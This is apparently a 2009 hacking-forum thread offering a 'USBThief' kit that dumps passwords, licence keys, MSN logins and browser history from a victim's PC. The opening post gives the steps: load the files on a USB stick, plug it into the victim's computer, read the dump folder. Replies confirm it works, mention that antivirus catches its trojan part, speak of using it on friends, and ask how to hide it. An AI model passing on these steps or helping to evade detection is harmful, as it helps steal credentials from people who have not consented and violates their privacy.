USB Steals Pc Passwords

Tweaked USB that steals every passwords including licences.

Instructions:

- 1.Decompress the archive and put all the files located in the folder "USBThief"into a USB.
- 2.Insert the USB in your victim's computer.
- 3.View folder "dump" to see the passwords.

Added Video Cache View (Let's see what porn vids ppl been watching)

Added My Last Search

Added MSN pass stealer (only works if they have auto sign in on)

Added Mozilla Cache View

Added IE Cache View

Added Protected Storage PassView

pretty old....

.....

hivekiller - September 19, 2009, 1:53 am

anyone try this thing yet?

Clutch - September 19, 2009, 6:26 am

I've heard of this a lot of times before, i'm gonna try it but i don't think it'll work.....

Frankenstein - September 19, 2009, 6:27 am

Will try it now and let you know how it works.

EDIT: Is there a newer vverison?

NihilKhaos - September 19, 2009, 6:30 am

Pretty cool, I'll wait until someone confirms that it works to actually download, though.

dylo - September 19, 2009, 6:34 am

vry nice. lol i would dl but no1 comfired it works

salah - September 19, 2009, 6:38 am

lol, this looks cool... need someone to confirm it working first tho :D

Frankenstein - September 19, 2009, 6:40 am

Works fine but the trojan (videocache) gets removed by Virus software instantly, however flushing works fine. Mozilla cache is fine, but no passwords form it. All in all good but needs some updating.

It works. It's legit, i can confirm. Search google for USB Hacks.

sneddenraj - September 20, 2009, 11:34 am

hey thanks for sharin

ajuni7 - September 21, 2009, 7:40 pm

can't wait to try it out on my noobie friends

islaughter - November 1, 2009, 9:15 pm

I tried and i plug it in my friend computer then i plug on my comp, i dont see any data password..

davinci - September 25, 2010, 12:52 pm

hey it works but when i pluqqd it in its qets detectd by tha computer is therr any way to hide dis function
